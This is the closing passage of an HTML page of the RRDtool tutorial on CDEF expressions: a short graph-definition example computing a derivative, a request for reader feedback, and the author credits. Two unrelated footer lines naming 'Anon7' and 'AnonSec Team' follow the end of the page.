  CDEF:time=var,POP,TIME
  CDEF:prevtime=PREV(time)
  CDEF:derivate=var,prev1,-,time,prevtime,-,/
  LINE3:derivate#000077:derivate
  LINE1:var#007700:&#39;raw data&#39;</code></pre>

<h1 id="Out-of-ideas-for-now">Out of ideas for now</h1>

<p>This document was created from questions asked by either myself or by other people on the RRDtool mailing list. Please let me know if you find errors in it or if you have trouble understanding it. If you think there should be an addition, mail me: &lt;alex@vandenbogaerdt.nl&gt;</p>

<p>Remember: <b>No feedback equals no changes!</b></p>

<h1 id="SEE-ALSO">SEE ALSO</h1>

<p>The RRDtool manpages</p>

<h1 id="AUTHOR">AUTHOR</h1>

<p>Alex van den Bogaerdt &lt;alex@vandenbogaerdt.nl&gt;</p>


</body>

</html>



Anon7 - 2022
AnonSec Team